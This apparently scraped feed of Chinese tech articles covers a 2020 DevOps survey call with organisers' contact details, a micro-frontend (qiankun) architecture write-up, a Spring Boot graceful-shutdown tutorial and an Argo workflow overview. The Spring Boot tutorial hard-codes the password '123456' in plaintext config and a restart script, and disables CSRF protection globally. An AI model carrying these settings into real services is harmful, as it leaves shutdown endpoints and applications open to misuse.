    无论您是刚刚开始 DevOps 之旅,还是已经成为 DevOps 实践专家,我们都非常乐于聆听您的意见,您的见解对整个 DevOps 行业的发展具有宝贵价值。回答该问卷大约占用您20分钟的时间。这份问卷是匿名的,调查结果只用于统计、分析和生成最终的调查报告,我们将确保不会泄漏每一位受访者的相关信息。如果您希望得到您所在组织的DevOps 实践现状及建议,同时了解国内其他组织实践 DevOps 的最新水平,请您如实填写问卷,以便本调查能够捕捉到每个人真实的情况与想法,我们期待您的参与!

    同时,也欢迎将问卷推荐给您认为适合参加本次调查的专业人士。我们将赠送给部分幸运受访者由高效运维社区、腾讯蓝鲸智云、京东智联云、云智慧、苏宁消费金融、华为云 DevCloud 等企业赞助的纪念品,以感谢各位的热情参与,因此请填写准确联系方式和地址,以便纪念品发放,部分纪念品如下图所示。在此,也感谢各位合作单位对本次调查的大力支持!
    002.webp.jpg

    本调查问卷将在线开放一个月的时间,于 5月15日截止,并计划于7月份正式发布《 2020 年中国 DevOps 现状调查报告》,每一位完整回答问卷的朋友都将第一时间免费收到最新的完整版调查报告。最后,感谢您对我们研究工作的支持!

    现在就开始您的 DevOps 实践探索之旅吧!参与2020年中国 DevOps 现状调查问卷请长按识别下图二维码!

    004.png

    2019年首次DevOps 现状问卷调查情况解读

    在2019年首次开展的中国 DevOps 的现状调查中,共收到 1549 份有效问卷。从数据得知,受访者来自包括互联网、科技、电信、制造等十多个行业,其中互联网和科技占据半壁江山,从行业的分布可以看出,DevOps 已经逐步在各个行业落地实践了。

    从调查的综合结果可以看出,从调查的综合结果我们可以看出,DevOps 经验位于基础级和初始级的企业占比超过七成,18.07%的企业处于全面级,10.41%的企业认为自己已经达到优秀级,卓越级的企业占比为0.74%,28.07%的企业已经在组织内全面推行 DevOps 实践,并将其贯穿于软件开发的全生命周期中,整体交付效率得到显著提升。
    006.png

    综上概述,DevOps 已经在互联网、金融、运营商、制造业广泛落地实践,因此为进一步了解中国 DevOps 落地实践的现状以及未来发展趋势,在今年将继续对企业 展开 DevOps 现状调查,转型正当时,调查数据来支持!时代由您创造,时代由您见证!我们期待您的参与!


    关于 DevOps 标准评估报名请咨询:

    中国信息通信研究院@车昕
    电话:186 1113 9904(同微信)
    邮箱:chexin@caict.ac.cn

    中国信息通信研究院@刘凯铃
    电话:156 5078 6171(同微信)
    邮箱:liukailing@caict.ac.cn

    高效运维社区@杨东辉
    电话:185 1511 5139(同微信)
    邮箱:yangdonghui@greatops.net

    ]]>
    生产可用:是时候来一个微前端架构了! Fri, 02 May 2025 09:39:04 +0800 微前端的场景域

    在选择一个微前端方案之前,常常需要思考这样一个问题,我们为什么需要微前端。通常对微前端的诉求有两个方面,一是工程上的价值,二是产品上的价值。

    对于工程上的价值,可以从一个三年陈的项目来看,如下所示, commit 的记录显示,第一次提交是 2016 年 8 月。

    image.png

    image.png

    依赖树 dependencies:

    image.png

    打包体积:

    image.png

    虽然这个三年陈的项目看上去版本比较低,但仍然是相对主流的全家桶方案。这样一个乐观的项目,在真实的场景中经过三年的时间,也不实用了。因为开发的时间比较长,并且人员流动也比较大,会导致一些祖传的代码出现,其次,在技术上不能及时的升级,导致开发体验变得很差,例如打包的时间就超过三分钟。也有可能在不经意间依赖一些不兼容的框架,导致项目无法升级。种种原因,最后很有可能变成一个遗产项目。

    对于产品体验上的问题,例如下图所示,要完成一个跳多个控制台任务,在过程中发现每个控制台视觉不统一、流程出现断点以及重复加载或认证的问题导致整个产品的体验较差。

    微前端的定义

    Techniques, strategies and recipes for building a modern web app with multiple teams using different JavaScript frameworks.
    —— Micro Frontends。

    以上是 Micro Frontends 网站对微前端的定义。意思是所谓微前端就是一种多个团队之间可以使用不同技术构建一个现代化 web 的技术手段以及方法策略。其中的关键字是多团队、采用不同的技术栈以及现代化的 web。微前端的思路继承自微服务的思想。

    image.png

    微前端的架构图

    如图,其中上层为统一共享的拼接层,主要做一些基础信息的加载,和对来自不同团队不同技术栈的客户端在运行时动态组成一个完整的 SPA 应用,以及生命周期的调度和事件的管理。总之,微前端是将微服务概念做了一个很好的延伸和实现。

    在具体实践中,衡量一个微前端方案是否是可利用的,需要满足以下几个条件:

    • 技术栈无关性,不仅指子应用之间使用多个不同的框架,也指在使用同一个框架时,有可能在一个长的时间跨度下,由于框架的不兼容的升级,导致应用被锁死的情况。
    • 开发、发布及部署独立,要求子应用和主应用做到工程上的解耦和独立。
    • 应用隔离的能力,是指需要考虑如何不干扰到原来子应用的开发模式和部署模式的情况下,做好运行时的样式隔离、JS 隔离以及异常隔离等。

    以上几点是基于工程价值方面考虑的。此外,也需要动态组合的能力,是基于产品价值方面考虑的。

    落地的关键问题

    微前端架构中的技术选择

    image.png

    按架构类型区分,常规 web 应用的架构类型分为两种,一种是 MPA,另一种是 SPA。如上图所示为 2017 年各云产品控制台架构调研,除了 google cloud 之外,大部分的云厂商都使用 MPA 架构。MPA 的优点在于部署简单,具备独立开发和独立部署的特性。但是,它的缺点是完成一个任务要跳到多个控制台,并且每个控制台又是重复刷新的。而 SPA 能极大保证多个任务之间串联的流畅性,但问题是通常一个 SPA 是一个技术栈的应用,很难共存多个技术栈方案的选型。SPA 和 MPA 都是微前端方案的基础选型,但是也都存在各自的问题。

    image.png

    单实例,一个运行时只有一个 APP Actived

    image.png

    多实例,一个运行同时有多个 APP Actived

    按运行时特性区分,微前端包含两个类别,一类是单实例,另一类是多实例。单实例场景如上图中左侧,通常是一个页面级别的组合,例如一个运行时只有一个 App 被激活。多实例场景如上图右侧,像一个组件或者是容器级别的应用,运行时可以做到多个应用被同时激活。这两种模式都有自己适应的场景和优势。微前端架构的核心诉求是实现能支持自由组合的微前端架构,将其他的 SPA 应用以及其他组件级别的应用自由的组合到平台中。那么,如何选择 SPA 和 MPA 以及单实例和多实例是一个问题,我们是否能探索出一种方案,将 SPA 和 MPA 工程上的特点结合起来,同时兼顾多实例和单实例运行时的场景来实现。

    技术细节上的决策

    为了实现上述的方案,在技术细节上的决策需要注意以下问题:

    • 如何做到子应用之间的技术无关。
    • 如何设计路由和应用导入。
    • 如何做到应用隔离。
    • 基础应用之间资源的处理以及跨应用间通信的选择。

    对于如何做到子应用之间的技术无关问题,我们是通过协议来解决的。如下代码所示的方式,就可以完成子应用的导入。如果子应用接入时做了一些框架上的耦合或者依赖一个具体实现库的机制,就一定会存在与实现库版本耦合的可能,不利于整个微前端生态的统一和融合。

    export async function bootstrap() {
      console.log('react app bootstraped') ;
    }
    
    export async function mount(props) {
      console.log(props) ;
      ReactDOM.render(<App/>, document.getElementById('react15Root'));
    }
    
    export async function unmount() {
      ReactDOM.unmountComponentAtNode(document.getElementById('react15Root') ) ;
    }

    如下所示是一个与具体框架实现相耦合的例子(反例):

    //主应用
    import React from 'react' ;
    import ReactDOM from 'react-dom';
    import MicroFrontend from 'micro-frontend';
    
    ReactDOM.render(<MicroFrontend  base="/app1" entry="//localhost/a.js">);
    
    //子应用
    window.microFrontends = {
      app:{...} ,
      reduxStore:{...} ,
      globals:(...) ,
    }

    对于路由的问题,如下图所示。这样一条访问链路后,刷新当前 URL 通常情况下会发生什么?

    image.png

    正常访问一个站点,经过一番操作之后,进入到站点的列表页,路由会变大很复杂,但如果是一个微前端用户,刷新一下页面会出现 404 的情况。解决思路是将 404 路由 fallback 到一个异步注册的子应用路由机制上。

    对于应用导入方式的选择,比较常见的方案是 Config Entry。通过在主应用中注册子应用依赖哪些 JS。这种方案一目了然,但是最大的问题是 ConfigEntry 的方式很难描述出一个子应用真实的应用数据信息。真实的子应用会有一些 title 信息,依赖容器 ID 节点信息,渲染时会依赖节点做渲染,如果只配 JS 和 CSS,那么很多信息是会丢失的,有可能会导致间接上的依赖。

    <html>
      <head>
      <title>sub app</title>
        <link rel="stylesheet" href="//localhost/app.css">
    </head>
    <body>
      <main id="root"></main>
       <script src="/media/20200413110339fAi. js">
    </body>
    </html>
    
    <script>
       import React from 'react'
       import ReactDOM from 'react-dom'
    
       ReactDOM.render(<App/>, document.getElementById('root') )
    </script>

    另外一种方案是 HTML Entry,直接配 html,因为 html 本身就是一个完整的应用的 manifest,包含依赖的信息。HTML Entry 的优点是接入应用的信息可以得到完整的保留,接入应用地址只需配一次,子应用的原始开发模式得到完整保留,因为子应用接入只需要告知主应用 html 在哪,包括在不接入主应用时独立的打开。它的缺点是将解析的消耗留给了运行时。而 Config Entry 相较于 HTML Entry 减少了运行时的解析消耗。Config Entry 的缺点是主应用需配置完整的子应用信息,包含初始 DOM 信息、js/css 资源地址等。

    registerMicroApps([
        {
            name: 'react app'
            //   index.html 本身就是一个完整的应用的 manifest
           entry: '//localhost: 8080/index.html',
           render,
           activeRule: '/react'
         }
    ]) ;

    对于样式隔离问题,例如 BEM,每个子应用在写样式之前要加一些前缀,做一些隔离,但是这个做法并不推荐。相对而言,CSS Module 更简单高效,也更智能化,是比较推荐的方式,但是也存在着问题。而 Web Components 看上去很不错,但在实践过程中也会发生一些问题。

    例如在 Web Components 渲染的流程中出现了问题,如下图所示。

    image.png

    在 antd 中提供了全局的 API,可以提前设置好所有的弹框的 container,但是也不是每个组件库都能像 antd 一样完成度那么高。

    image.png

    蚂蚁所采用的解决方案是做动态的加载和卸载样式表,如下图所示,这种方案是很有效的。

    image.png

    对于 JS 隔离,蚂蚁提出了 JS Sandbox 机制,如上图所示,其中 bootstrap、mount及 unmount 生命周期是子应用需要暴露出来的,因为子应用的整个生命周期都是被主应用所管理的,所以可以在主应用中给子应用插入各种拦截的机制,也可以捕获到子应用在加载期间做了哪些全局上的修改。在 unmount 时,可以将全局上的副作用全部手动移除掉,同时也可以实现在重新进来时,将上次忘记卸载的副作用重建一遍,因为需要保证下次进来时能完整回复到与上次一致的上下文。

    image.png

    对于资源加载问题,在微前端方案中存在一个典型的问题,如果子应用比较多,就会存在之间重复依赖的场景。解决方案是在主应用中主动的依赖基础框架,然后子应用保守的将基础的依赖处理掉,但是,这个机制里存在一个问题,如果子应用中既有 react 15 又有 react 16,这时主应用该如何做?蚂蚁的方案是在主应用中维护一个语义化版本的映射表,在运行时分析当前的子应用,最后可以决定真实运行时真正的消费到哪一个基础框架的版本,可以实现真正运行时的依赖系统,也能解决子应用多版本共存时依赖去从的问题,能确保最大程度的依赖复用。

    基于 props 以单向数据流的方式传递给子应用:

    export function mount(props) {
        ReactDOM.render(
            <App {...props}/>,
             container
        )
    }

    基于浏览器原生事件做通信:

    //主应用
    window.dispathEvent(
        new CustomEvent('master:collapse-menu'),
        {detail: {collapsed:true} }
    )
    
    //子应用
    window.addEventLister(
        'master:collapse-menu',
        event => console.log(event.detail.collapsed)
    )

    对于应用之间数据共享及通信的问题,蚂蚁提出了两个原则,第一个原则是基于 props 以单向数据流的方式传递给子应用。第二个原则是基于浏览器原生事件做跨业务之间的通信。

    在真实的生产实践中,蚂蚁总结出了几点经验及建议:兄弟节点间通信以主应用作为消息总线,不建议自己封装的 Pub/Sub 机制,也不推荐直接基于某一状态管理库做数据通信。

    蚂蚁在实践中做的性能优化,包括异步样式导致闪烁问题的解决以及预加载问题的解决。

    异步样式导致的闪烁问题:

    image.png

    预加载:

    export function prefetch(entry: Entry, fetch?: Fetch) {
        const requestIdleCallback = window.requestIdleCallback || noop;
    
        requestIdleCallback(async () => {
            const { getExternalScripts, getExternalStyleSheets }
                = await importEntry(entry, { fetch } );
            requestIdleCallback(getExternalStyleSheets) ;
            requestIdleCallback(getExternalScripts) ;
        }) ;
    }

    如图所示为微前端方案涉及到的技术点,本文分享了图中三分之二的内容。

    image.png

    在蚂蚁金服做了大量关于微前端方案之后,总结了衡量一个微前端方案是否友好的两个标准,第一个标准是技术无关,也是微前端最核心的特性,不论是子应用还是主应用都应该做到框架不感知。第二个标准是接入友好,子应用接入应该像接入一个 iframe 一样轻松自然。

    蚂蚁的微前端落地的实践成果

    蚂蚁内部基于微前端基础架构提出了一体化上云解决方案,称为 OneX,是一个基础的平台,它可以将各种流程和工具串联,其价值体现在品牌、产品和技术方面。品牌价值指的是统一的界面框架、UI、交互形成了蚂蚁金服科技品牌心智。

    image.png

    OneNav + OneConsole + TechUI + OneAPI + Bigfish

    下图所示为蚂蚁的一个真实应用的例子,除了中间接入的产品是自己控制之外,其他内容都是由平台提供,这样,如论是一个三年陈项目还是新做的项目,在基本的视觉上可以做到统一。

    image.png

    产品价值指的是产品具有自由组合能力。之前的产品是多个产品、多个站点的控制台,而现在只需要一个控制台,将多个产品自由的组合,这样,可以在商业上有更多的相应空间以及更多自由的搭配。基于这样的系统也可以做一些全局性的事情,例如埋点、用户的转化跟踪业务。

    image.png

    技术价值指的是研发上的提效。经过微前端的改造后,蚂蚁可以将大型的系统解耦成可以独立开发的并行的小型的系统,这些小型系统可以交给别的团队或者使用可视化的系统去实现,最后在运行时只需要将他们集成起来。

    在技术价值方面也可以实现交付上的提效,只需要在某一个环境的任意一个环境中做平台上的接入,应用就可以做到在多余的环境中不改代码,直接运行。

    下图为阿里云刚上市的一个产品例子,其中包括 15 个来自不同团队的应用进行维护,它的特点是并不是单独为阿里云而设计的,之前在蚂蚁也有运行,只不过在阿里云中做了动态的组合。OneTour 微应用组件主要解决的是在多个产品控制台之间自由切换导致流程割裂的问题。

    image.png

    蚂蚁微前端的落地成果包括:有 70+ 线上应用接入(阿里云 + 蚂蚁云 + 专有云),最复杂一个控制台同时集成 15 个应用,并且有 4+ 不同技术栈,以及开发到发布上线全链路的自动化支持,一云入驻多云运行。

    基于以上技术上的成果,蚂蚁沉淀了自己的微前端方案并开源。

    基于以上技术上的成果,蚂蚁沉淀了自己的微前端方案并开源。qiankun 是框架无关的微前端内核,umi-plugin-qiankun 是基于 umi 应用的 qiankun 插件,方便 umi 应用通过修改配置的方式变身成为一个微前端系统。基于上述实践的检验和内部落地结果来看,在大规模中后台应用场景下,微前端架构是一个值得尝试的方案。

    qiankun:https://github.com/umijs/qiankun/

    umi-plugin-qiankun:https://github.com/umijs/umi-plugin-qiankun

    ]]>
    Spring Boot 1.X和2.X优雅重启实战 Fri, 02 May 2025 09:39:04 +0800 Spring Boot 1.X优雅地停止应用

    项目在重新发布的过程中,如果有的请求时间比较长,还没执行完成,此时重启的话就会导致请求中断,影响业务功能,优雅重启可以保证在停止的时候,不接收外部的新的请求,等待未完成的请求执行完成,这样可以保证数据的完整性。
    在pom.xml中引入actuator依赖

    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-actuator</artifactId>
    </dependency>

    配置文件增加

    endpoints.shutdown.enabled=true

    启动项目,通过发送关闭命令到endpoint停止运行

    curl -X POST http://127.0.0.1:8080/shutdown

    此时会返回401状态,表示没有认证
    需要关闭权限验证,在配置文件添加

    endpoints.shutdown.sensitive=false

    表示shutdown不需要验证,或者直接关闭全部安全验证

    management.security.enabled=false

    此时再去执行发现可以停止应用,但是这样的话谁都可以拿这个接口去停止应用,如果是在公网的话,感觉就像在裸奔一样,因此我们可以利用Spring Security来处理用户身份验证,去掉这个配置。
    pom.xml添加依赖

    <dependency>  
        <groupId>org.springframework.boot</groupId>  
        <artifactId>spring-boot-starter-security</artifactId>  
    </dependency>

    配置文件添加

    security.user.name=admin
    security.user.password=123456
    management.security.enabled=true
    management.security.role=ADMIN

    启动项目,通过下面的方式停止应用的运行

    curl -X POST --user admin:123456 http://127.0.0.1:8080/shutdown

    为了在应用退出前能尽可能的保证数据的完整性,在接收到shutdown指令之后在完成一些事情,可以在tomcat的自定义接口上做一些工作。
    ShutdownConfig

    import java.util.concurrent.Executor;
    import java.util.concurrent.ThreadPoolExecutor;
    import java.util.concurrent.TimeUnit;
    import org.apache.catalina.connector.Connector;
    import org.slf4j.Logger;
    import org.slf4j.LoggerFactory;
    import org.springframework.boot.context.embedded.ConfigurableEmbeddedServletContainer;
    import org.springframework.boot.context.embedded.EmbeddedServletContainerCustomizer;
    import org.springframework.boot.context.embedded.tomcat.TomcatConnectorCustomizer;
    import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedServletContainerFactory;
    import org.springframework.context.ApplicationListener;
    import org.springframework.context.annotation.Bean;
    import org.springframework.context.annotation.Configuration;
    import org.springframework.context.event.ContextClosedEvent;
    
    /**
     * Spring Boot1.X Tomcat容器优雅停机  
     */
    @Configuration
    public class ShutdownConfig {
     
        @Bean
        public GracefulShutdown gracefulShutdown() {
            return new GracefulShutdown();
        }
     
        @Bean
        public EmbeddedServletContainerCustomizer tomcatCustomizer() {
            return container -> {
                if (container instanceof TomcatEmbeddedServletContainerFactory) {
                    ((TomcatEmbeddedServletContainerFactory) container).addConnectorCustomizers(gracefulShutdown());
                }
            };
        }
        private static class GracefulShutdown implements TomcatConnectorCustomizer, ApplicationListener<ContextClosedEvent> {
            private static final Logger log = LoggerFactory.getLogger(GracefulShutdown.class);
            private volatile Connector connector;
            private final int waitTime = 120;
            @Override
            public void customize(Connector connector) {
                this.connector = connector;
            }
            @Override
            public void onApplicationEvent(ContextClosedEvent event) {
                this.connector.pause();
                Executor executor = this.connector.getProtocolHandler().getExecutor();
                if (executor instanceof ThreadPoolExecutor) {
                    try {
                        ThreadPoolExecutor threadPoolExecutor = (ThreadPoolExecutor) executor;
                        log.info("shutdown start");
                        threadPoolExecutor.shutdown();
                        log.info("shutdown end");
                        if (!threadPoolExecutor.awaitTermination(waitTime, TimeUnit.SECONDS)) {
                            log.info("Tomcat 进程在" + waitTime + "秒内无法结束,尝试强制结束");
                        }
                        log.info("shutdown success");
                    } catch (InterruptedException ex) {
                        Thread.currentThread().interrupt();
                    }
                }
            }
        }
    }

    Spring Boot 2.X优雅地停止应用

    在pom.xml中引入actuator依赖

    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-actuator</artifactId>
    </dependency>

    配置文件添加

    # 暴露所有,也可以只暴露shutdown
    #management.endpoints.web.exposure.include=*
    management.endpoints.web.exposure.include=shutdown
    management.endpoint.shutdown.enabled=true

    启动项目,通过发送关闭命令到endpoint停止运行

    curl -X POST http://127.0.0.1:8080/shutdown

    这样当然是不安全的,还是需要借助Spring Security来处理用户身份验证
    pom.xml添加依赖

    <dependency>  
        <groupId>org.springframework.boot</groupId>  
        <artifactId>spring-boot-starter-security</artifactId>  
    </dependency>

    配置文件添加

    spring.security.user.name=admin
    spring.security.user.password=123456
    spring.security.user.roles=ADMIN

    启动项目,通过下面的方式停止应用的运行

    curl -i -X POST --user admin:123456 http://127.0.0.1:8080/actuator/shutdown

    这时并没有出现我们期待的响应状态是200的Shutting down, bye...消息出现,而是

    HTTP/1.1 401 
    Set-Cookie: JSESSIONID=6B5EF5B52BB5D9B57CD8CE5F405D264F; Path=/; HttpOnly
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 1; mode=block
    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
    Pragma: no-cache
    Expires: 0
    X-Frame-Options: DENY
    WWW-Authenticate: Basic realm="Realm"
    Content-Length: 0
    Date: Tue, 09 Apr 2019 06:20:39 GMT

    意思已经很明显了,就是未授权,但是我们明明是传了用户名和密码的,为什么还是未授权的状态,这里补充一点Spring Security的知识。
    认证流程图

    过滤器链

    首先当用户发送请求的时候,会进入到UsernamePasswordAuthenticationFilter中得到一个UsernamePasswordAuthenticationToken,它其实相当于一个令牌,不过还没有经过认证,然后调用AuthenticationManager的实现类ProviderManager中判断登录方式是否支持,如果支持,则会调用AuthenticationProvider接口的抽象实现类AbstractUserDetailsAuthenticationProvider进行用户身份验证,如果在认证时用户的缓存信息不存在,则需要先通过其子类 DaoAuthenticationProvider获取UserDetails后进行用户身份验证。
    当然,我们的用户名密码肯定是没有问题的,到底是没有接收到参数还是认证失败。有兴趣的同学可以试一下请求

    curl -i -v --user admin:123456 http://127.0.0.1:8080/actuator

    是可以返回的,也就是说Spring Security对一些特殊的请求有特殊的处理。
    查看官方文档
    )可以知道,默认情况下要求对应用程序中的每个URL进行身份验证,而且会启用CSRF保护,以防止CSRF攻击应用程序,Spring Security CSRF会针对除了"GET", "HEAD", "TRACE", "OPTIONS"之外的其他方法("PATCH", "POST", "PUT", "DELETE")进行防护。 所以在默认配置下,即便已经登录了,页面中发起这几种请求依然会被拒绝。
    官方文档关于HttpSecurity的介绍中说明了默认配置
    image.png
    这个默认的配置在类WebSecurityConfigurerAdapter的方法 configure(HttpSecurity http) 可以看到。顺着这个思路,我们实现一个自定义的配置类WebSecurityConfig,关掉CSRF保护

    import org.springframework.boot.actuate.autoconfigure.security.servlet.EndpointRequest;
    import org.springframework.context.annotation.Configuration;
    import org.springframework.security.config.annotation.web.builders.HttpSecurity;
    import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
     
    @Configuration
    public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
    
        @Override
        public void configure(HttpSecurity http) throws Exception {
            http
                .csrf().disable() //1
                .authorizeRequests()
                .anyRequest().authenticated() //2
    //            .requestMatchers(EndpointRequest.toAnyEndpoint()).fullyAuthenticated()  //3
    //            .requestMatchers(EndpointRequest.to("shutdown")).fullyAuthenticated()  //4
                .and()
                .formLogin()
                .and()
                .httpBasic();
        }
    }
    

    这个时候再次执行停止应用的指令就可以成功,可以在自定义的这个类中实现更加精细的控制。
    同样的我们可以定义一个类ShutdownConfig在Tomcat退出之前做一些事情

     
    import org.apache.catalina.connector.Connector;
    import org.slf4j.Logger;
    import org.slf4j.LoggerFactory;
    import org.springframework.boot.web.embedded.tomcat.TomcatConnectorCustomizer;
    import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory;
    import org.springframework.boot.web.servlet.server.ServletWebServerFactory;
    import org.springframework.context.ApplicationListener;
    import org.springframework.context.annotation.Bean;
    import org.springframework.context.annotation.Configuration;
    import org.springframework.context.event.ContextClosedEvent;
    
    import java.util.concurrent.Executor;
    import java.util.concurrent.ThreadPoolExecutor;
    import java.util.concurrent.TimeUnit;
     
    /**
     * Spring Boot2.X Tomcat容器优雅停机
     *
     */
    @Configuration
    public class ShutdownConfig {
     
        @Bean
        public GracefulShutdown gracefulShutdown() {
            return new GracefulShutdown();
        }
    
        @Bean
        public ServletWebServerFactory servletContainer() {
            TomcatServletWebServerFactory tomcat = new TomcatServletWebServerFactory();
            tomcat.addConnectorCustomizers(gracefulShutdown());
            return tomcat;
        }
    
        private static class GracefulShutdown implements TomcatConnectorCustomizer, ApplicationListener<ContextClosedEvent> {
            private static final Logger log = LoggerFactory.getLogger(GracefulShutdown.class);
            private volatile Connector connector;
            private final int waitTime = 120;
    
            @Override
            public void customize(Connector connector) {
                this.connector = connector;
            }
    
            @Override
            public void onApplicationEvent(ContextClosedEvent event) {
                this.connector.pause();
                Executor executor = this.connector.getProtocolHandler().getExecutor();
                if (executor instanceof ThreadPoolExecutor) {
                    try {
                        ThreadPoolExecutor threadPoolExecutor = (ThreadPoolExecutor) executor;
                        log.info("shutdown start");
                        threadPoolExecutor.shutdown();
                        log.info("shutdown end");
                        if (!threadPoolExecutor.awaitTermination(waitTime, TimeUnit.SECONDS)) {
                            log.info("Tomcat 进程在" + waitTime + "秒内无法结束,尝试强制结束");
                        }
                        log.info("shutdown success");
                    } catch (InterruptedException ex) {
                        Thread.currentThread().interrupt();
                    }
                }
            }
        }
    }

    优雅重启

    停止应用除了我们上面介绍的通过endpoint指令外别忘记kill,但是我们要优雅停止那就不能使用kill -9 PID,而是使用kill PID发送终止信号来结束进程,等效于kill -15 PID,不加的话默认的就是-15,下面是对比图

    kill -9

    kill

    可见使用kill -9 PID有多暴力,下面是完整的重启脚本restart.sh

    #!/bin/sh
    #set -x
    
    APPS_DIR='appsDir'
    APPLICATION_NAME='applicationName'
    PID=''
    STOP_TIME_OUT=30 #秒
    USER_NAME='admin'
    USER_PWD='123456'
    STOP_URL='http://127.0.0.1:8081/actuator/shutdown'
    
    function getPid { 
        PID=`ps -ef | grep "${APPLICATION_NAME}" | grep -v "grep" | awk '{print $2}'`
    }
    
    function startApplication {
        echo 'starting ...'
        #启动参数自己调整
        java -jar ${APPS_DIR}${APPLICATION_NAME}.jar
    }
    
    function stopApplication { 
        echo 'waiting ...'
        info=`curl -i --user ${USER_NAME}:${USER_PWD} -X POST ${STOP_URL}`
        code=`echo $info|grep "HTTP"|awk '{print $2}'`
        if [ "$code" != "200" ];then
            echo 'endpoint stop failed  ...'
            getPid;
            start=$(date +%s)
            while [[ $PID != "" ]]; do
                end=$(date +%s)
                time=$(( $end - $start ))
                echo "waiting kill pid ${PID} cost ${time} ..."
                if [[ time -gt $STOP_TIME_OUT ]]; then
                    kill ${PID}
                fi
                sleep 1
                getPid;
            done
        fi
        
        echo 'stoped ...'
    }
    
    function restart {
        stopApplication;
        startApplication;
    }
    
    restart;
    

    【转载请注明出处】:https://www.jianshu.com/p/53e6ff96368d

    ]]>
    Argo项目入驻CNCF,一文解析Kubernetes原生工作流 Fri, 02 May 2025 09:39:04 +0800 image.png
    近期CNCF宣布欢迎Argo项目进入 CNCF 孵化器,作为一个新加入的项目,Argo主要关注于Kubernetes原生的工作流,持续部署等方面。

    Argo项目是一组Kubernetes原生工具集合,用于运行和管理Kubernetes上的作业和应用程序。阿里云容器服务是国内早期使用argo workflow的团队之一。在落地生产过程中,解决了大量性能瓶颈,并且开发了较多功能回馈给社区,团队成员也是Argo 项目Maintainer 之一。

    面向K8s的工作流, Argo 项目介绍

    DAG (Directed acyclic graph,有向无环图)是一个典型计算机图论问题,可以用来模拟有相互依赖关系的数据处理任务,比如音视频转码,机器学习数据流,大数据分析等。

    Argo 最早是通过workflow 在社区闻名。Argo Workflow 的项目名称就是Argo(https://github.com/argoproj/argo), 是Argo 组织最初的项目。Argo Workflow 专注于Kubernetes Native Workflow 设计,拥有声明式工作流机制,能够通过 CRD 的模式完全兼容Kubernetes 集群,每个任务通过Pod的形式运行,Workflow 提供DAG等依赖拓扑,并且能够通过Workflow Template CRD实现多个Workflow 之间的组合与拼接。
    image.png
    上图就是一个典型的 DAG 结构,Argo Workflow 可以根据用户提交的编排模板,很容易的构建出一个有相互依赖关系的工作流。Argo Workflow 就可以处理这些依赖关系,并且按照用户设定的顺序依次运行。

    Argo CD 是另一个最近比较知名的项目。 Argo CD主要面向Gitops流程,解决了通过Git一键部署到Kubernetes的需求,并且能够根据版本标识快速跟踪,回滚。Argo CD还提供了多集群部署功能,能够打通多个集群之间同一应用部署问题。

    image.png

    Argo Event 提供基于事件依赖关系的声明式管理,以及基于各种事件源的Kubernetes资源触发器。 Argo Events的常见用法是触发Argo工作流并为使用Argo CD部署的长期服务生成事件。


    Argo Rollout 是为了解决多种部署形式而诞生的项目。Argo Rollout 能实现多种灰度发布方式,同时结合Ingress, Service Mesh 等方式完成流量管理与灰度测试。


    Argo 各个子项目既可以单独使用,也可以结合使用。一般而言,结合使用多个子项目能够发挥Argo更大的能力,并且实现更多的功能。

    使用Argo中遇到的问题与解决方法

    阿里云最早落地的是Argo Workflow,在使用Argo Workflow 时第一个问题就是权限管理。Argo Workflow 每一个具体的任务都是通过Pod来执行,同时有一个sidecar 容器来监听主任务的进行。这里的sidecar监听方式是通过mount docker.sock 来实现,这就绕过了Kubernetes APIServer RBAC机制,无法实现对于用户权限的精确控制。我们与社区一起合作开发,实现了Argo Kubernetes APIServer Native Executor 功能,sidecar能够通过service account 监听APIServer 来获取到主容器的动态与信息,实现了Kubernetes RBAC的支持与权限收敛。


    Argo Workflow 在 DAG 解析过程中,每一步都会根据Workflow label 来扫描所有的Pod 状态,以此来决定是否需要进行下一步的动作。但是每一次扫描都是串行执行,当集群中Workflow 较多的时候,就会出现扫描速度缓慢,工作流的任务长时间等待的现象。基于此我们开发了并行扫描功能,将所有的扫描动作使用goroutine 并行化,极大的加速了工作流执行效率。将原有需要20 小时运行的任务,降低到4 小时完成。此功能已经回馈给社区,并且在Argo Workflow v2.4版本发布。


    在实际生产中,Argo Workflow 执行的步数越多,占用的空间越多。所有的执行步骤均记录在CRD Status 字段里面。当任务数量超过 1000 步的时候,就会出现单个对象过大,无法存储进入ETCD,或者会因为流量过大,拖垮APIServer。我们与社区合作开发了状态压缩技术,能够将Status进行字符串压缩。压缩后的Status字段大小仅为原来大小的 20 分之一,实现了5000步以上的大型工作流运行。

    阿里云在基因数据处理场景落地

    AGS主要应用于基因组测序二级分析,通过AGS加速API只需要15分钟即可完成一个30X WGS的基因比对、排序、去重、变异检测全流程,相比经典流程可加速120倍,比目前全球最快的FPGA/GPU方案仍能提速2-4倍。


    通过分析个体基因序列的突变机制,可为遗传病检测、肿瘤筛查等提供有力支撑,未来将在临床医学和基因诊断方面发挥巨大作用。人类全基因组有约30亿个碱基对,一个30X的WGS测序数据量大约在100GB。AGS在计算速度、精准度、成本、易用性、与上游测序仪的整合度上具有极大优势,同时适用于DNA的SNP/INDEL以及CNV结构变异检测,以及DNA/RNA病毒检测等场景。



    image.png



    AGS工作流是基于argo实现的,为Kubernetes提供容器化的本地工作流程。工作流程中的每个步骤都定义为容器。
    工作流引擎是作为 Kubernetes CRD(自定义资源定义)实现的。 因此,可以使用kubectl管理工作流,并与其他Kubernetes 服务本地集成,例如Volumes、Secrets 和 RBAC。 工作流控制器提供完整的工作流程功能,包括参数替换,存储,循环和递归工作流程。


    阿里云在基因计算场景下使用Argo Workflow 在Kubernetes集群上运行数据处理分析业务,能够支持超过 5000 步以上的大型工作流,且能够比传统数据处理方式加速百倍。通过定制化的Workflow引擎,极大的便捷了基因数据处理的效率。

    作者简介

    陈显鹭
    阿里云技术专家
    深耕Docker&Kubernetes多年 是Docker多个项目的Contributor, Kubernetes Group Member,《自己动手写Docker》作者。 专注于容器技术的编排与基础环境研究。爱好折腾源代码 热爱开源文化并积极参与社区开源项目的研发

